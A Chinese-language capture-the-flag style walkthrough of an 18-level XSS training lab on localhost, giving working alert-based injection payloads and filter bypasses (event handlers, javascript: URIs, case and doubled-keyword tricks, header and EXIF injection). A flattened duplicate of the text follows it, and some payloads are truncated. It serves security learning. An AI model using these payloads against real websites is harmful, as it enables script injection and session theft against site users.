【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关)
字数 1152 2025-08-29 08:31:42

XSS挑战之旅通关攻略详解

第一关:基础XSS注入

输入点:URL参数name
输出点:页面内容
过滤情况:无任何过滤

Payload示例

http://127.0.0.1/xss/level1.php?name=<script>alert("完成的不错!")</script>
http://127.0.0.1/xss/level1.php?name=<script>prompt("完成的不错!")</script>
http://127.0.0.1/xss/level1.php?name=<script>confirm("完成的不错!")</script>

第二关:HTML属性注入

输入点:界面和URL参数
输出点:页面内容
过滤情况:部分位置过滤了尖括号

Payload示例

test"><script>alert("完成的不错!")</script>
test"><script>prompt("完成的不错!")</script>
test"><script>confirm("完成的不错!")</script>

第三关:事件处理器注入

输入点:URL参数
输出点:HTML属性
过滤情况:过滤了尖括号

Payload示例

' oninput=alert`1` //
' onchange=alert`1` //

第四关:双引号事件注入

输入点:URL参数
输出点:HTML属性
过滤情况:与第三关类似,但使用双引号

Payload示例

" onchange=alert`1` 
" oninput=alert`1` //

第五关:过滤绕过技术

过滤情况

  • on 替换为 o_n
  • script 替换为 sc_ript

Payload示例

"> <a href="javascript:%61lert(1)">click me</a> //
"> <a href="javascript:alert('xss')">111</a> //
"> <a href="javascript:alert(/1/)">axxx</a> //

第六关:大小写绕过

Payload示例

"> <Script>alert('handsome boy')</script> //
">  //

第七关:双重字符绕过

Payload示例

" oonninput=alert(1) 
"> <scscriptript>alert`xss`</scscriptript> //

第八关:JavaScript伪协议

关键点

  • 使用javascript:伪协议
  • URL编码绕过

Payload示例

<a href="javascript:%61lert(1)">click me</a>

第九关:带HTTP检测的伪协议

Payload示例

javascript:alert(1)//http://www.0aa.me
javascript:%0dhttp://www.0aa.me%0dalert(1)

第十关:隐藏输入注入

Payload示例

http://127.0.0.1/xss/level10.php?keyword=888888&t_sort=" type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=well done!&t_sort=" onmouseover=alert(1) type="text"

第十一关:Referer头注入

攻击方法

  1. 使用Burp Suite等工具抓包
  2. 修改Referer头为XSS payload

第十二关:User-Agent头注入

攻击方法

  1. 抓包修改User-Agent头
  2. 注入XSS代码

第十三关:Cookie注入

攻击方法

  1. 修改Cookie值
  2. 注入XSS代码

第十四关:EXIF XSS

攻击方法

  1. 上传含有XSS代码的图片
  2. 利用EXIF漏洞触发XSS

第十五关:AngularJS ng-include

Payload示例

/level15.php?src='level1.php?name=test'

第十六关:空格过滤绕过

Payload示例

/level16.php?keyword=
http://127.0.0.1/xss//level16.php?keyword=
http://127.0.0.1/xss//level16.php?keyword=<svg%0aonload=alert`1`></svg>

第十七关 & 第十八关:Flash参数注入

Payload示例

/level17.php?arg01=a&arg02= onmouseover=alert(1)
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)

关键知识点总结

  1. 基础注入:直接使用<script>标签
  2. HTML属性注入:闭合属性后插入新属性
  3. 事件处理器:使用onclick, onmouseover等事件
  4. 大小写绕过ScRiPt代替script
  5. 双重字符绕过scscriptript代替script
  6. 伪协议javascript:协议
  7. HTTP检测绕过:使用注释或换行符
  8. 隐藏输入注入:修改表单隐藏字段
  9. HTTP头注入:Referer, User-Agent, Cookie
  10. 特殊技术:EXIF XSS, AngularJS包含
  11. 空格绕过:使用%0a, %0d代替空格
  12. Flash参数注入:通过Flash参数注入事件处理器

以上是XSS挑战之旅前18关的详细通关攻略,涵盖了多种XSS注入技术和绕过方法。

XSS挑战之旅通关攻略详解 第一关:基础XSS注入 输入点 :URL参数 name 输出点 :页面内容 过滤情况 :无任何过滤 Payload示例 : 第二关:HTML属性注入 输入点 :界面和URL参数 输出点 :页面内容 过滤情况 :部分位置过滤了尖括号 Payload示例 : 第三关:事件处理器注入 输入点 :URL参数 输出点 :HTML属性 过滤情况 :过滤了尖括号 Payload示例 : 第四关:双引号事件注入 输入点 :URL参数 输出点 :HTML属性 过滤情况 :与第三关类似,但使用双引号 Payload示例 : 第五关:过滤绕过技术 过滤情况 : on 替换为 o_n script 替换为 sc_ript Payload示例 : 第六关:大小写绕过 Payload示例 : 第七关:双重字符绕过 Payload示例 : 第八关:JavaScript伪协议 关键点 : 使用 javascript: 伪协议 URL编码绕过 Payload示例 : 第九关:带HTTP检测的伪协议 Payload示例 : 第十关:隐藏输入注入 Payload示例 : 第十一关:Referer头注入 攻击方法 : 使用Burp Suite等工具抓包 修改Referer头为XSS payload 第十二关:User-Agent头注入 攻击方法 : 抓包修改User-Agent头 注入XSS代码 第十三关:Cookie注入 攻击方法 : 修改Cookie值 注入XSS代码 第十四关:EXIF XSS 攻击方法 : 上传含有XSS代码的图片 利用EXIF漏洞触发XSS 第十五关:AngularJS ng-include Payload示例 : 第十六关:空格过滤绕过 Payload示例 : 第十七关 & 第十八关:Flash参数注入 Payload示例 : 关键知识点总结 基础注入 :直接使用 <script> 标签 HTML属性注入 :闭合属性后插入新属性 事件处理器 :使用 onclick , onmouseover 等事件 大小写绕过 : ScRiPt 代替 script 双重字符绕过 : scscriptript 代替 script 伪协议 : javascript: 协议 HTTP检测绕过 :使用注释或换行符 隐藏输入注入 :修改表单隐藏字段 HTTP头注入 :Referer, User-Agent, Cookie 特殊技术 :EXIF XSS, AngularJS包含 空格绕过 :使用 %0a , %0d 代替空格 Flash参数注入 :通过Flash参数注入事件处理器 以上是XSS挑战之旅前18关的详细通关攻略,涵盖了多种XSS注入技术和绕过方法。